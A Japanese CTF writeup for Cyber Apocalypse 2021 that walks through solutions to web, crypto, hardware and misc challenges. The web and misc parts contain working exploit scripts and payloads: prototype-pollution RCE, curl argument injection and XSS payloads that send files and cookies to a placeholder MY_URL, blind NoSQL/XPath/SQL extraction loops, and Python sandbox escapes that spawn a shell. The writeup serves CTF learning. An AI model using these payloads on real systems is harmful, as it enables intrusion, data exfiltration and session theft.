Cyber Apocalypse CTF 2021 Writeup
Sat Apr 24 2021
4/19-4/24 で開催していた Cyber Apocalypse CTF 2021 にソロで参加しました。普段よく使っている常設サイトである CryptoHack と HackTheBox の出題だったため参加不可避でした。 「Crypto の問題で最多ポイントを取ったチーム、あるいは全完がいる場合は最速のチームは CryptoHack のTシャツを得られる」という話だったので前半は Crypto に全力を注ぎました。しかし某 Crypto 最強チームが速攻で全完してしまったので、その後はゆるりと Web 問などをやりました。平日開催だったため時間は限られていましたが、最近ハマっている Crypto と Web の問題が多くてとても楽しめました。結果は 114th/4740 です。 例のごとく解いた問題のうち勉強になった問題について writeup をメモします。問題数が多く英語で書こうとすると時間がかかりそうなので今回は日本語です。
Web
BlitzProp
prototype pollution の問題でした。 前年度もほぼ同じ問題が出題されていたらしく、 https://noxious.tech/posts/HtbUniCtf/ 等を参考に解きました。
import requests url = "http://138.68.151.248:30938" r = requests.post( f"{url}/api/submit", json={ "song.name": "The Galactic Rhymes", "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync(`cat flag* >> static/js/main.js`)", # 事前に `ls` 等でファイルの存在を確認 }, }, ) print(r.text) requests.get(url) print(r.text)
以上を実行した後、 /static/js/main.js にアクセスするとファイルの末尾にフラグが記載されています。
Caas
入力した $url に対し、 $this->command = "curl -sL " . escapeshellcmd($url); を実行してくれるサイトです。 curl は -F query=@PATH/TO/FILE で path にあるファイルの中身を query として送信することが可能です。 php の escapeshellcmd は arg の数を複数取れてしまうので、上記の方法でファイルの中身を読むことができます。 下記を送信したところ、フラグが MY_URL に送られてきました。
MY_URL%20-F%20%22flag%3D%40/flag
Wild Goose Hunt
mongodb の中にあるフラグを覗く問題。 最初 yarn.lock をみていると pug のバージョンが明らかに古く、ググると RCE の脆弱性 が出てきたので、それを使う方法をずっと考えてましたが、最終的な解法には全然関係なかったです…
mongodb では {"password[$regex]": "CHTB{.*"} という形式でクエリを投げると正規表現を使うことができます (https://book.hacktricks.xyz/pentesting-web/nosql-injection)。これを利用して1文字ずつ文字を決めていきました。
import json import requests url = "http://159.65.20.140:32401/api/login" flag = "CHTB{" # check r = requests.post(url, data={"username": "admin", "password[$regex]": flag + ".*"}) ret = json.loads(r.text) print(ret["logged"], type(ret["logged"])) for _ in range(100): for i in range(32, 128): c = chr(i) if c in "*$+.?\\|": continue r = requests.post(url, data={"username": "admin", "password[$regex]": flag + c + ".*"}) ret = json.loads(r.text) print(c, ret) if ret["logged"]: print("found!") flag += c print(flag) break else: print("That's all") print(flag) break
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}
E.Tree
xpath で xml の中に書かれているフラグを手に入れる問題。フラグが xml のどこに記載されているかは与えられています。 調べてみると blind xpath injection というのがありました (https://owasp.org/www-community/attacks/Blind_XPath_Injection)。 substring とかが使えるみたいなので、 blind SQLi と同じような感じで中身をリークさせることができます。
import json import requests payload_template = "' or substring((//district[{}]/staff[{}]/selfDestructCode),{},1)='{}" url = "http://188.166.145.178:30627/api/search" flag = "CHTB{" # フラグ前半 for idx in range(len(flag)+1, 100): for i in range(32, 128): c = chr(i) payload = payload_template.format(2, 3, idx, c) r = requests.post(url, json={"search": payload}) try: ret = json.loads(r.text) print(c, ret) except: print(c, "skip") continue if "success" in ret: print("found!") flag += c print(flag) break else: break # フラグ後半 for idx in range(1, 100): for i in range(32, 128): c = chr(i) payload = payload_template.format(3, 2, idx, c) r = requests.post(url, json={"search": payload}) try: ret = json.loads(r.text) print(c, ret) except: print(c, "skip") continue if "success" in ret: print("found!") flag += c print(flag) break else: break
The Galactic Times
CSP が有効な状態での XSS 問題。 CSP は以下の通り。
contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "'unsafe-eval'", "https://cdnjs.cloudflare.com/"], styleSrc: ["'self'", "'unsafe-inline'", "https://unpkg.com/nes.css/", "https://fonts.googleapis.com/"], fontSrc: ["'self'", "https://fonts.gstatic.com/"], imgSrc: ["'self'", "data:"], childSrc: ["'none'"], objectSrc: ["'none'"] } },
ホワイトリスト形式の CSP では、そのドメイン下の script (angular.js など) を使えてしまうため、それを利用します。
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.1.5/angular.min.js"></script> <p ng-app>{{constructor.constructor('fetch("/alien").then(r=>r.text()).then(t=>location="MY_URL?q="+escape(t.slice(754, 854)))')()}}
これを submit すると、 /alien にあるコンテンツ (フラグは754文字目から) を MY_URL に持ってきてくれます。
emoji voting
SQLi の問題。
async getEmojis(order) { // TOOD: add parametrization return new Promise(async (resolve, reject) => { try { let query = `SELECT * FROM emojis ORDER BY ${ order }`; resolve(await this.db.all(query)); } catch(e) { reject(e); } }); }
order に文字を渡すことができ、 SELECT * FROM emojis ORDER BY ${ order } というクエリを投げることができます。
ORDER BY の後に文字を足す形なので UNION SELECT は使えません。 そこで、 LIMIT 句を使った blind SQLi を使うことにしました。 例えば以下のようなクエリを投げると、テーブル名の1文字目が "f" のときだけレスポンスが存在することになります。
COUNT LIMIT (SELECT SUBSTR(tbl_name,1,1) FROM sqlite_master WHERE tbl_name LIKE "flag%")="f"
これを使って、テーブル名→フラグの順番にリークしていきました。
import json import requests url = "http://138.68.151.248:32272/api/list" # leak flag table name table_name = "flag_" payload_template = "COUNT LIMIT (SELECT SUBSTR(tbl_name,{},1) FROM sqlite_master WHERE tbl_name LIKE 'flag%')='{}'" # check payload = payload_template.format(1, "f") r = requests.post(url, json={"order": payload}) ret = json.loads(r.text) print(ret) payload = payload_template.format(1, "l") r = requests.post(url, json={"order": payload}) ret = json.loads(r.text) print(ret) for idx in range(6, 6+10): for c in "0123456789abcdef": payload = payload_template.format(idx, c) r = requests.post(url, json={"order": payload}) ret = json.loads(r.text) print(c, ret) if len(ret) == 1: print("found!") table_name += c print(table_name) break # table_name = "flag_af2a53d451" payload_template = "COUNT LIMIT (SELECT SUBSTR(flag,{},1) FROM {})='{}'" # check payload = "COUNT LIMIT (SELECT SUBSTR(flag,{},1) FROM {})='{}'".format(1, table_name, "C") r = requests.post(url, json={"order": payload}) ret = json.loads(r.text) print(ret) flag = "CHTB{" for idx in range(len(flag)+1, 100): for i in range(32, 128): c = chr(i) if c == "'": continue payload = payload_template.format(idx, table_name, c) r = requests.post(url, json={"order": payload}) ret = json.loads(r.text) print(c, ret) if len(ret) == 1: print("found!") flag += c print(flag) break else: print("That's all") print(flag) break
Bug Report
XSS の問題。 与えた URL に bot が アクセスしてくれます。
browser.get('http://127.0.0.1:1337/') browser.add_cookie({ 'name': 'flag', 'value': 'CHTB{f4k3_fl4g_f0r_t3st1ng}' }) try: browser.get(url) WebDriverWait(browser, 5).until(lambda r: r.execute_script('return document.readyState') == 'complete') except: pass finally: browser.quit()
bot は cookie にフラグを持っているのですが、 127.0.0.1 以外では無効になってしまいます。 問題のサイト内で一度 cookie を表示させたあとに MY_URL に持ってくる必要がありそうです。 そこで app.py を見ると、エラーページに XSS の脆弱性が見つかりました。
@app.errorhandler(404) def page_not_found(error): return "<h1>URL %s not found</h1><br/>" % unquote(request.url), 404
これを利用し、 bot に以下のリンクを踏ませることで cookie をリークすることができました。
http://127.0.0.1:1337/<script>document.location=`MY_URL?cookie=${document.cookie}`</script>
Crypto
Forge of Empires
Elgamal 署名の問題。 message, r, s をこちら側から指定することができます。ただし message には get_flag の文字列を含んでいないといけません。
まず message に制限がない場合を考えると、以下の計算で署名を通せる message, r, s の組み合わせが得られます。 t は任意の整数です。
しかし message に制限をつけるとこの計算でr, s のペアを見つけるのは難しくなります。制限を満たす t を決める効率的な方法がないからです。 ではどうすればいいかというと、実はこの問題では message に get_flag が含んでいるかを判定したあとに message にマスクをかけて署名を計算していることに注目します。
def verify(message: str, r: int, s: int, y: int): m = int(message, 16) & MASK if any([x <= 0 or x >= p-1 for x in [m,r,s]]): return False return pow(g, m, p) == (pow(y, r, p) * pow(r, s, p)) % p def get_flag(message: str, r: int, s: int, y: int): if b'get_flag' not in bytes.fromhex(message): return 'Error: message does not request the flag' elif verify(message, r, s, y): return FLAG else: return 'Error: message does not match given signature'
なので message を十分長い文字列にし、 MASK よりも上位の bit で get_flag の文字列を含めておけば、署名に使われる m は任意の数値として扱うことが可能です。
from math import gcd from random import randint from pwn import * p = 2 ** 1024 + 1657867 g = 3 MASK = 2 ** p.bit_length() - 1 _r = remote("188.166.172.13", 30154) _r.recvuntil("Server's public key: ") y = int(_r.recvline().strip()) message = b"get_flag" message += (256 - len(message)) * b"\x00" assert b"get_flag" in bytes.fromhex(message.hex()) message = int(message.hex(), 16) while True: t = randint(2, p - 2) if gcd(t, p - 1) != 1: continue r = pow(g, t, p) * y % p s = (-r) % (p - 1) m = t * s % (p - 1) break message += m _r.sendlineafter("message: ", hex(message)[2:]) _r.sendlineafter("r: ", str(r)) _r.sendlineafter("s: ", str(s)) print(_r.recvall())
Little Nightmares
公開鍵、秘密鍵は以下のように計算されています。
def keygen(): p, q = getPrime(1024), getPrime(1024) N = p*q g, r1, r2 = [randint(1,N) for _ in range(3)] g1, g2 = pow(g, r1*(p-1), N), pow(g, r2*(q-1), N) return [N, g1, g2], [p, q]
暗号化は以下の通りです。
def encrypt(m, public): N, g1, g2 = public assert m < N, "Message is too long" s1, s2 = randint(1,N), randint(1,N) c1 = m*pow(g1,s1,N) % N c2 = m*pow(g2,s2,N) % N return [c1, c2]
公開鍵と暗号 [c1, c2] が与えられていて、それを復号する問題です。
なので、フェルマーの小定理より実は が成立します。 この2式を掛けると、 となります。 は に比べて十分に小さく、 Coppersmith の定理が使えそうです。
public = [ 15046368688522729878837364795846944447584249939940259042809310309990644722874686184397211078874301515249887625469482926118729767921165680434919436001251916009731653621249173925306213496143518405636216886510423114656445458948673083827223571060637952939874530020017901480576002182201895448100262702822444377134178804257755785230586532510071013644046338971791975792507111644403115625869332161597091770842097004583717690548871004494047953982837491656373096470967389016252220593050830165369469758747361848151735684518721718721910577759955840675047364431973099362772693817698643582567162750607561757926413317531802354973847, 9283319553892803764690461243901070663222428323113425322850741756254277368036028273335428365663191030757323877453365465554132886645468588395631445445583253155195968694862787593653053769030730815589172570039269584478526982112345274390480983685543611640614764128042195018064671336591349166188571572536295612195292864841173479903528383123563226015278849646883506520514470333897880659139687610612049230856991239192330160727258048546502899802982277188877310126410571180236389500463464659397850999622904270520629126455639717497594792781963273264274684421455422023088932590387852813426966580288533263121276557350436900246463, 8170671201621857973407215819397012803619280999847588732628253232283307833188933536560440103969432332185848983745037071025860497584949115721267685519443159539783527315198992420655868110884873218133385835580345201078361745220227561551654718787264374257293351098299807821798471006283753277157555438331734456302990269860368479905882644912688806233577606978042582643369428542665819950283055672363935065844777322370865181261974289403517780920801228770368401030437376412993457855872519154731210534206120823952983817295670102327952847504357905927290367724038039202573992755780477507837498958878434898475866081720566629437645, ] enc = [ 7276931928429452854246342065839521806420418866856294154132077445353136752229297971239711445722522895365037966326373464771601590080627182837712349184127450287007143044916049997542062388957038193775059765336324946772584345217059576295657932746876343366393024413356918508539249571136028895868283293788299191933766033783323506852233709102246103073938749386863417754855718482717665887208176012160888333043927323096890710493237011980243014972091979988123240671317403963855512078171350546136813316974298786004332694857700545913951953794486310691251777765023941312078456072442404873687449493571576308437181236785086220324920, 323136689475858283788435297190415326629231841782013470380328322062914421821417044602586721782266492137206976604934554032410738337998164019339195282867579270570771188637636630571301963569622900241602213161396475522976801562853960864577088622021373828937295792222819561111043573007672396987476784672948287600574705736056566374617963948347878220280909003723932805632146024848076789866573232781595349191010186788284504514925388452232227920241883518851862145988532377145521056940790582807479213216240632647108768886842632170415653038740093542869598364804101879631033516030858720540787637217275393603575250765731822252109, ] N, g1, g2 = public c1, c2 = enc # c1 % p == c2 % q == flag PR.<x> = PolynomialRing(Zmod(N)) f = x ** 2 - (c1 + c2) * x + (c1 * c2) root = f.small_roots()[0] bytes.fromhex(hex(root)[2:])
CHTB{Factoring_With_Fermats_Little_Theorem}
RSA jam
RSA の が与えられています。 をそれぞれ平文、暗号として を計算するのが RSA の復号方法ですが、 となる を探す問題です。
がわかっているため、 となる は簡単に求まります。 は として計算され、 となることからRSAは成立しています。しかし実は任意の整数について となる は よりも小さいものが存在する場合があります。 これは カーマイケルの定理 を使うことで求めることができます。 今回の場合だと なので となります。
import json import re from math import gcd from pwn import * _r = remote("139.59.168.47", 31417) _r.recvline() e, d, N = map(int, re.findall(r".*'e': (.*), 'd': (.*), 'N': (.*)}", _r.recvline().strip().decode())[0]) r = e * d - 1 k = 0 while r % 2 == 0: r //= 2 k += 1 t = r assert 2 ** k * t == e * d - 1 m = 7 while k >= 0: res = pow(m, 2 ** k * t, N) if res == 1: k -= 1 continue p = gcd(N, res + 1) q = gcd(N, res - 1) break assert p * q == N phi = (p - 1) * (q - 1) d2 = pow(e, -1, phi // 2) _r.sendlineafter("> ", str(d2)) print(_r.recvall())
Super Metroid
楕円曲線の問題。 暗号化は以下のように行われています。
def encrypt(message, key): m = bytes_to_long(message) e = 0x10001 G = E.lift_x(Integer(m)) P = e*G return int(P[0])^^int(key)
key さえわかってしまえば と が既知になるため、 を計算することで復号化できそうです。 この key はどのように得られているかというと、以下のとおりです。
def gen_key(): from secrets import a,b E1 = EllipticCurve(F, [a,b]) assert E.is_isomorphic(E1) key = - F(1728) * F(4*a)^3 / F(E1.discriminant()) return key
key は j-不変量 になっているため、 が未知でも例えば のときに j-不変量を計算することで key が求まります。
p = 103286641759600285797850797617629977324547405479993669860676630672349238970323 c1 = 39515350190224022595423324336682561295008443386321945222926612155252852069385 c2 = 102036897442608703406754776248651511553323754723619976410650252804157884591552 e = 0x10001 F = GF(p) E = EllipticCurve(F, [1, 2]) order = E.order() C1 = E.lift_x(c1) G1 = C1 * int(pow(e, -1, order)) flag = bytes.fromhex(hex(G1[0])[2:]) key = - F(1728) * F(4*1) ** 3 / F(E.discriminant()) C2 = E.lift_x(c2 ^^ key) G2 = C2 * int(pow(e, -1, order)) flag += bytes.fromhex(hex(G2[0])[2:])
CHTB{Counting_points_with_Schoofs_algorithm}
Wii Phit
RSAっぽい問題 (?)。 ある秘密鍵 を使ってフラグを RSA のように暗号化しています。普通の RSA と違うのは で計算されていることと、 自体は公開鍵ではないことです。 つまり だけが与えられているのですが、ヒントとして以下が与えられています。
w = 25965460884749769384351428855708318685345170011800821829011862918688758545847199832834284337871947234627057905530743956554688825819477516944610078633662855 x = p + 1328 y = p + 1329 z = q - 1 assert w*(x*z + y*z - x*y) == 4*x*y*z
式変形をすると、 として が成立しています。
が他の項に比べて十分に小さいことを仮定すると、 より、 となります。 これを解くと です。
あとはここから を小さくしていって が厳密に成立する の整数ペアを探そうと思ったのですが、実は で求めた が条件を満たす整数でした (偶然感がそれなりにするけど、そういうものかもしれない)。 が求まれば がわかるので、後は RSA の計算をするだけです。
c = 0x12F47F77C4B5A72A0D14A066FEDC80BA6064058C900A798F1658DE60F13E1D8F21106654C4AAC740FD5E2D7CF62F0D3284C2686D2AAC261E35576DF989185FEE449C20EFA171FF3D168A04BCE84E51AF255383A59ED42583E93481CBFB24FDDDA16E0A767BFF622A4753E1A5DF248AF14C9AD50F842BE47EBB930604BECFD4AF04D21C0B2248A16CDEE16A04B4A12AC7E2161CB63E2D86999A1A8ED2A8FAEB4F4986C2A3FBD5916EFFB1D9F3F04E330FDD8179EA6952B14F758D385C4BC9C5AE30F516C17B23C7C6B9DBE40E16E90D8734BAEB69FED12149174B22ADD6B96750E4416CA7ADDF70BCEC9210B967991E487A4542899DDE3ABF3A91BBBAEFFAE67831C46C2238E6E5F4D8004543247FAE7FF25BBB01A1AB3196D8A9CFD693096AABEC46C2095F2A82A408F688BBEDDDC407B328D4EA5394348285F48AFEAAFACC333CFF3822E791B9940121B73F4E31C93C6B72BA3EDE7BBA87419B154DC6099EC95F56ED74FB5C55D9D8B3B8C0FC7DE99F344BEB118AC3D4333EB692710EAA7FD22 e = 0x10001 w = 25965460884749769384351428855708318685345170011800821829011862918688758545847199832834284337871947234627057905530743956554688825819477516944610078633662855 x = w // 2 y = x + 1 z = int(1/(1/x + 1/y - 4/w)) p = x - 1328 q = z + 1 assert is_prime(p) assert is_prime(q) N = p**3 * q phi = (p**3 - p**2) * (q - 1) d = int(pow(e, -1, phi)) bytes.fromhex(hex(pow(c, d, N))[2:])
CHTB{Erdos-Straus-Conjecture}
SpongeBob SquarePants: Battle for Bikini Bottom - Rehydrated
ハッシュ関数の問題。 試しに \x00 * 8n という形の平文をハッシュ化してみると、 のときに暗号文が \x00 * 18 となることに気づきました。 なので のときと のときにハッシュが衝突します。きっと非想定解でしょう… (難易度の割に solve 数多かったので)
from pwn import * _r = remote("139.59.190.72", 30270) a = "00" * 24 _r.sendlineafter("> ", a) a = "00" * 48 _r.sendlineafter("> ", a) print(_r.recvall())
Hardware
Serial Logs
与えられた .sal ファイルについてググると、 Logic というソフトでの保存形式みたいです。 このソフトで開いてみると、 Channel 1 に矩形波が並んでいることがわかります。 矩形波の間隔は8.48us程度だったため、 1/0.00000848 ≒ 118000Hz として "Async Serial" で表示してみました。
[LOG] Connection from 4b1186d29d6b97f290844407273044e5202ddf8922163077b4a82615fdb22376 [LOG] Connection from ebd967f3ed47d5410160d3ee603884a32b426d5f3a84212697290c922407d45e [LOG] Connection from ab290d3a380f04c2f0db98f42d5b7adea2bd0723fa38e0621fb3d7c1c2808284 (snip) [LOG] Connection from 4b1186d29d6b97f290844407273044e5202ddf8922163077b4a82615fdb22376 [LOG] Connection from 4b1186d29d6b97f290844407273044e5202ddf8922163077b4a82615fdb22376 [ERR] Noise detected in channel. Swithcing baud to backup value \xEE\xF2p\x9E\xEC\x1E\x9C\x9E\x1E|`~\x1C\xEE|\x9E\xE2\x9Cp\x90\x9C\xEC\x9C\x8E|\x1E|\x1C\x8C\x9C\x8Er\x1E|\x8E\x0C\x9Ep\x82||\x0E\x10\
どうやら途中で周期が変わっているようです。後半の矩形波の間隔を再度確認してみると、13.48us程度でした。 なので今度は 1/0.00001348 ≒ 74187Hz で表示することで後半の通信内容も見ることができました。
(snip) [LOG] Connection from a7e6ec5bb39a554e97143d19d3bfa28a9bbef68fa6ecab3b3ef33919547278d4 [LOG] Connection from 099319f700d8d5f287387c81e6f20384c368a9de27f992f71c1de363c597afd4 [LOG] Connection from ab290d3a380f04c2f0db98f42d5b7adea2bd0723fa38e0621fb3d7c1c2808284 [LOG] Connection from CHTB{wh47?!_f23qu3ncy_h0pp1n9_1n_4_532141_p2070c01?!!!52}
CHTB{wh47?!_f23qu3ncy_h0pp1n9_1n_4_532141_p2070c01?!!!52}
Compromised
全問と同様 .sal ファイルが与えられました。 Logic で開きます。今度は2つチャンネルがあり、 I2C 通信っぽいです。 SDA を Channel1 に、 SCL を Channel0 にすると、通信内容を見ることができました。
write to 0x34 ack data: 0x73 write to 0x34 ack data: 0x65 write to 0x34 ack data: 0x74 write to 0x34 ack data: 0x5F write to 0x34 ack data: 0x6D write to 0x34 ack data: 0x61 write to 0x2C ack data: 0x43 write to 0x34 ack data: 0x78 write to 0x2C ack data: 0x48 write to 0x34 ack data: 0x5F write to 0x34 ack data: 0x6C write to 0x2C ack data: 0x54 (snip)
0x2C へ書き込みしているときの data をつなげていくと、フラグとなりました。
CHTB{nu11_732m1n47025_c4n_8234k_4_532141_5y573m!@52)#@%}
Misc
Input as a Service
python2 の環境で、入力を受け取っています。 入力は input で取られている (これはエラー時の trace back からわかったはず) のですが、 python2 の input は eval の挙動をします。 特に入力の制限はなさそうなので、適当にシェルを起動してしまいましょう。 __import__("os").system("sh") でシェルが立ち上がるのでそこから flag.txt の中身を見ることでフラグを入手できました。
Build yourself in
今度は python3 の環境で以下のように exec が呼ばれています。
text = input() exec(text, {"__builtins__": None, "print": print})
また text に ' や " が含まれると怒られてしまいます。 フラグの場所の指定などはなかったため、今回もシェルを叩いてフラグを見る問題でしょう。
https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes を見ると、 ().__class__.__bases__[0] で object class にアクセスすることができます。 object.__subclasses__() を print で呼ぶと、以下の class たちにアクセスできそうです。
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
これらのうち、最後から4番目にある os._wrap_close から os パッケージにアクセスできそうです。 os._wrap_close.__init__.__globals__ で os パッケージの一覧が見られます。 system 関数は45番目にありました。
あとは ' や " を使わずに cat flag.txt を表現すればいいわけですが、適当な os._wrap_close.__init__.__globals__ の key や value から適当に文字を持ってきて結合させて作りました。 最終的な payload は以下のとおりになりました。
tmp=().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__; keys=[k for k in tmp.keys()]; values=[v for v in tmp.values()]; f=keys[5][2]; la=keys[42][3:5]; g=keys[2][7]; dot=values[1][-2]; t=keys[10][1]; x=keys[13][2]; os_system=tmp[keys[45]]; cat=keys[127][4:7]; space=values[1][2]; print(os_system(cat+space+f+la+g+dot+t+x+t))
(これ writeup 書いてて気づいたけど、 sh の文字列作るほうが遥かに簡単だったのでは… 🤔)